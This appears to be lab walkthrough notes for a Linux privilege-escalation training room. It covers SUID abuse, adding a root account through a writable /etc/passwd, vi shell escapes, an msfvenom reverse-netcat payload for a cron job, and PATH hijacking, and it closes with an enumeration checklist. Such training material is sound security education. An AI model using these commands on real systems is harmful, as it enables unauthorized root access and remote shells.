Common Linux Privesc

Understanding Privesc

Privilege Escalation involves going from a lower permission to a higher permission by exploiting a vulnerability, design flaw or configuration oversight in an operating system or application, and gain unauthorized access to user restricted resources.

Privilege escalation is crucial because it lets us gain system administrator levels of access, including:

• Reset passwords

• Bypass access controls to compromise protected data

• Edit software configurations

• Enable persistence, so we can access the machine again later

• Change privilege of users

• Get the root flag

Direction of Privilege Escalation

Privilege Tree:

There are two main privilege escalation variants

• Horizontal privilege escalation: This is where we expand our reach over the compromised system by taking over a different user who is on the same privilege level as us (normal user hijacking another normal user). This can be used, for example, to gain access to another normal privilege user, that happens to have a SUID file attached to their home directory which can be used to get super user access.

• Vertical privilege escalation (privilege elevation): This is where we attempt to gain higher privileges or access, with an existing account that we have already compromised (hijacking an account with privileges or root privileges).

Enumeration

#2 What is the target's hostname?

#3 Look at the output of /etc/passwd how many "user[x]" are there on the system?

#4 How many available shells are there on the system?

#5 What is the name of the bash script that is set to run every 5 minutes by cron?

#6 What critical file has had its permissions changed to allow some users to write to it?

Abusing SUID/GUID Files

The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges.

Files have permissions to allow or restric three operations (read/write/execute). So when we set permissions for a file, we should be aware of the Linux users to whom we allow or restrict all three permissions.

We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, if we want to do this manually we can use the command: "find / -perm -u=s -type f 2>/dev/null" to search the file system for SUID/GUID files. Let's break down this command.

find - Initiates the "find" command

/ - Searches the whole file system

-perm - searches for files with specific permissions

-u=s - Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form

-type f - Only search for files

2>/dev/null - Suppresses errors

#1 What is the path of the file in user3's directory that stands out to you?

#2 We know that "shell" is an SUID bit file, therefore running it will run the script as a root user! Lets run it!

Exploiting Writable /etc/passwd

#1 First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user7, with the password "password"

#2 Having read the information above, what direction privilege escalation is this attack?

#3 Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: "openssl passwd -1 -salt [salt] [password]". What is the hash created by using this command with the salt, "new" and the password "123"?

#4 Great! Now we need to take this value, and create a new root user account. What would the /etc/passwd entry look like for a root user with the username "new" and the password hash we created before?

new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

#6 Now, use "su" to login as the "new" account, and then enter the password. If you've done everything correctly- you should be greeted by a root prompt! Congratulations!

Escaping Vi Editor

#2 Let's use the "sudo -l" command, what does this user require (or not require) to run vi as root?

#3 So, all we need to do is open vi as root, by typing "sudo vi" into the terminal.

#4 Now, type ":!sh" to open a shell!

Exploiting Crontab

#4Create a payload using: "msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R"

#5What directory is the "autoscript.sh" under?

Exploiting PATH variable

#2 Let's go to user5's home directory, and run the file "script". What command do we think that it's executing?

#4 Now we're inside tmp, let's create an imitation executable. The format for what we want to do is:echo "[whatever command we want to run]" > [name of the executable we're imitating]What would the command look like to open a bash shell, writing to a file with the name of the executable we're imitating

#5 Great! Now we've made our imitation, we need to make it an executable. What command do we execute to do this?

#6 Now, we need to change the PATH variable, so that it points to the directory where we have our imitation "ls" stored! We do this using the command "export PATH=/tmp:$PATH"Note, this will cause you to open a bash prompt every time you use "ls". If you need to use "ls" before you finish the exploit, use "/bin/ls" where the real "ls" executable is.Once you've finished the exploit, you can exit out of root and use "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH" to reset the PATH variable back to default, letting you use "ls" again!

Checklist

• Kernel and distribution release details

• System Information:

  • Hostname

  • Networking details:

  • Current IP

  • Default route details

  • DNS server information

• User Information:

  • Current user details

  • Last logged on users

  • Shows users logged onto the host

  • List all users including uid/gid information

  • List root accounts

  • Extracts password policies and hash storage method information

  • Checks umask value

  • Checks if password hashes are stored in /etc/passwd

  • Extract full details for 'default' uid's such as 0, 1000, 1001 etc

  • Attempt to read restricted files i.e. /etc/shadow

  • List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)

  • Basic SSH checks

• Privileged access:

  • Which users have recently used sudo

  • Determine if /etc/sudoers is accessible

  • Determine if the current user has Sudo access without a password

  • Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)

  • Is root's home directory accessible

  • List permissions for /home/

• Environmental:

  • Display current $PATH

  • Displays env information

• Jobs/Tasks:

  • List all cron jobs

  • Locate all world-writable cron jobs

  • Locate cron jobs owned by other users of the system

  • List the active and inactive systemd timers

• Services:

  • List network connections (TCP & UDP)

  • List running processes

  • Lookup and list process binaries and associated permissions

  • List inetd.conf/xined.conf contents and associated binary file permissions

  • List init.d binary permissions

• Version Information (of the following):

  • Sudo

  • MYSQL

  • Postgres

  • Apache

    • Checks user config

    • Shows enabled modules

    • Checks for htpasswd files

    • View www directories

• Default/Weak Credentials:

  • Checks for default/weak Postgres accounts

  • Checks for default/weak MYSQL accounts

• Searches:

  • Locate all SUID/GUID files

  • Locate all world-writable SUID/GUID files

  • Locate all SUID/GUID files owned by root

  • Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)

  • Locate files with POSIX capabilities

  • List all world-writable files

  • Find/list all accessible *.plan files and display contents

  • Find/list all accessible *.rhosts files and display contents

  • Show NFS server details

  • Locate *.conf and *.log files containing keyword supplied at script runtime

  • List all *.conf files located in /etc

  • Locate mail

• Platform/software specific tests:

  • Checks to determine if we're in a Docker container

  • Checks to see if the host has Docker installed

  • Checks to determine if we're in an LXC container